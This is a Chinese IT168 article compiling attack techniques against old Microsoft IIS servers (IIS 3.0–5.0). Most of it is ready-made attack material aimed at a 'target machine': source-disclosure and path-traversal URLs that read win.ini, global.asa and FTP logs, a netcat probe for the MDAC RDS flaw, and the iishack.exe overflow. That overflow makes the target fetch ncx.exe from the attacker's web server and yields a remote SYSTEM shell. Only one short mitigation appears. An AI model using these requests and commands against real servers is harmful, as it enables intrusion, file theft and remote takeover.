服务器 频道

IIS常见攻击漏洞及技巧大全

    【IT168 服务器学院】1.介绍

    这里介绍的方法主要通过端口80来完成操作,具有很大的威胁性,因为作为网络服务器80端口总要打开的。如果想方便一些,下载一些WWW、CGI扫描器来辅助检查。

    而且要知道目标机器运行的是何种服务程序,你可以使用以下命令:

    telnet 《目标机》 80 GET HEAD / HTTP/1.0

    就可以返回一些域名和WEB服务程序版本,如果有些服务器把WEB服务运行在8080,81,8000,8001口,你就TELNET相应的口上。

    2.常见漏洞

    (1)、Null.htw

    IIS如果运行了Index Server就包含了一个通过Null.htw有关的漏洞,即服务器上不存在此.htw结尾的文件。这个漏洞会导致显示ASP脚本的源代码, global.asa里面包含了用户帐户等敏感信息。如果攻击者提供特殊的URL请求给IIS就可以跳出虚拟目录的限制,进行逻辑分区和ROOT目录的访问。而这个"hit-highlighting"功能在Index Server中没有充分防止各种类型文件的请求,所以导致攻击者访问服务器上的任意文件。Null.htw功能可以从用户输入中获得3个变量:

    CiWebhitsfile

    CiRestriction

    CiHiliteType

    你可通过下列方法传递变量来获得如default.asp的源代码:

    http://www.目标机.com/null.htw?CiWebhitsfile=/default.asp%20&%20

    CiRestriction=none%20&%20&CiHiliteType=full其中不需要一个合法的.htw文件是因为虚拟文件已经存储在内存中了。

    (2)、MDAC- 执行本地命令漏洞

    这个漏洞出现得比较早,但在全球范围内,可能还有好多IIS WEB服务器存在这个漏洞,就像在今天,还有很多人在用Windows3.2一样。IIS的MDAC组件存在一个漏洞,可以导致攻击者远程执行目标系统的命令。主要核心问题是存在于RDSDatafactory,默认情况下,它允许远程命令发送到IIS服务器中,这命令会以设备用户的身份运行,在默认情况下是SYSTEM用户。我们可以通过以下办法测试本机是否存在这个漏洞:

    c:\》nc -nw -w 2 《目标机》 80

    GET /msadc/msadcs.dll HTTP

    如果你得到下面的信息:

    application/x_varg

    就很有可能存在此漏洞且没有打上补丁,你可以使用rain forest puppy网站的两个程序进行测(www.wiretrip.net/rfp)==》mdac.pl和msadc2.pl。

    (3)、ASP Dot Bug

    这个漏洞出现得比较早了,是Lopht小组在1997年发现的缺陷,这个漏洞也是泄露ASP源代码给攻击者,一般在IIS3.0上存在此漏洞,在请求的URL结尾追加一个或者多个点导致泄露ASP源代码。http://www.目标机.com/sample.asp.

    (4)、idc & .ida Bugs

    这个漏洞实际上类似ASP dot 漏洞,其能在IIS4.0上显示其WEB目录信息,很奇怪有些人还在IIS5.0上发现过此类漏洞,通过增加?idc?或者?ida?后缀到URL会导致 IIS尝试允许通过数据库连接程序.DLL来运行.IDC,如果此.idc不存在,它就返回一些信息给客户端。

    http://www.目标机.com/anything.idc 或者 anything.idq

    (5)、+.htr Bug

    这个漏洞是由NSFOCUS发现的,对有些ASA和ASP追加+.htr的URL请求就会导致文件源代码的泄露:

    http://www.目标机.com/global.asa+.htr

    (6)、NT Site Server Adsamples 漏洞

    通过请求site.csc,一般保存在/adsamples/config/site.csc中,攻击者可能获得一些如数据库中的DSN,UID和PASS的一些信息,如:

    http://www.目标机.com/adsamples/config/site.csc

    (7)、IIS HACK

    有人发现了一个IIS4.0的缓冲溢出漏洞,可以允许用户上载程序,如上载netcat到目标服务器,并把cmd.exe绑定到80端口。这个缓冲溢出主要存在于.htr,.idc和.stm文件中,其对关于这些文件的URL请求没有对名字进行充分的边界检查,导致运行攻击者插入一些后门程序在系统中下载和执行程序。要检测这样的站点你需要两个文件iishack.exe,ncx.exe,你可以到站点 www.technotronic.com中去下载,另外你还需要一台自己的WEB服务器,也可以是虚拟服务器哦。你现在你自己的WEB服务器上运行 WEB服务程序并把ncx.exe放到你自己相应的目录下,然后使用iishack.exe来检查目标机器:

    c:\》iishack.exe 《目标机》 80 《你的WEB服务器》/ncx.exe

    然后你就使用netcat来连接你要检测的服务器:

    c:\》nc 《目标机》 80

    如果溢出点正确,你就可以看到目标机器的命令行提示,并且是远程管理权限。Codebrws.asp& Showcode.asp 。Codebrws.asp和Showcode.asp在IIS4.0中是附带的看文件的程序,但不是默认安装的,这个查看器是在管理员允许查看样例文件作为联系的情况下安装的。但是,这个查看器并没有很好地限制所访问的文件,远程攻击者可以利用这个漏洞来查看目标机器上的任意文件内容,但要注意以下几点:

    1.Codebrws.asp 和 Showcode.asp默认情况下不安装。

    2.漏洞仅允许查看文件内容。

    3.这个漏洞不能绕过WINDOWS NT的ACL控制列表的限制。

    4.只允许同一分区下的文件可以被查看(所以把IIS目录和WINNT分区安装是个不错的方案,这样也可能比较好的防止最新的IIS5.0的unicode漏洞).

    5,攻击者需要知道请求的文件名。

    例如你发现存在这个文件并符合上面的要求,你可以请求如下的命令:

    http://www.目标机.com/iisamples/exair/howitworks/codebrws.asp?source=/

    iisamples/exair/howitworks/codebrws.asp

    你就可以查看到codebrws.asp的源代码了。

    你也可以使用showcode.asp来查看文件:

    http://www.目标机.com/msadc/samples/selector/showcode.asp?

    source=/msadc/../../../../../winnt/win.ini

    当然你也可以查看一些FTP信息来获得其他的目标管理员经常使用的机器,或许其他的机器的安全性比WEB服务器差,如:

    http://xxx.xxx.xxx.xxx/msadc/Samples/SELECTOR/showcode.asp?

    source=/msadc/Samples/../../../../../winnt/system32/logfiles/MSFTPSVC1/ex000517.log

    (8)、webhits.dll & .htw

    这个hit-highligting功能是由Index Server提供的允许一个WEB用户在文档上highlighted(突出)其原始搜索的条目,这个文档的名字通过变量CiWebhitsfile传递给.htw文件,Webhits.dll是一个ISAPI应用程序来处理请求,打开文件并返回结果,当用户控制了CiWebhitsfile参数传递给. htw时,他们就可以请求任意文件,结果就是导致可以查看ASP源码和其他脚本文件内容。要了解你是否存在这个漏洞,你可以请求如下条目:

    http://www.目标机.com/nosuchfile.htw

    如果你从服务器端获得如下信息:

    format of the QUERY_STRING is invalid

    这就表示你存在这个漏洞。

    这个问题主要就是webhits.dll关联了.htw文件的映射,所以你只要取消这个映射就能避免这个漏洞,你可以在你认为有漏洞的系统中搜索.htw文件,一般会发现如下的程序:

    /iissamples/issamples/oop/qfullhit.htw

    /iissamples/issamples/oop/qsumrhit.htw

    /isssamples/exair/search/qfullhit.htw

    /isssamples/exair/search/qsumrhit.htw

    /isshelp/iss/misc/iirturnh.htw (这个一般为loopback使用)

    攻击者可以使用如下的方法来访问系统中文件的内容:

    http://www.目标机.com/iissamples/issamples/oop/qfullhit.htw?

    ciwebhitsfile=/../../winnt/win.ini&cirestriction=none&cihilitetype=full

    就会在有此漏洞系统中win.ini文件的内容。

0
相关文章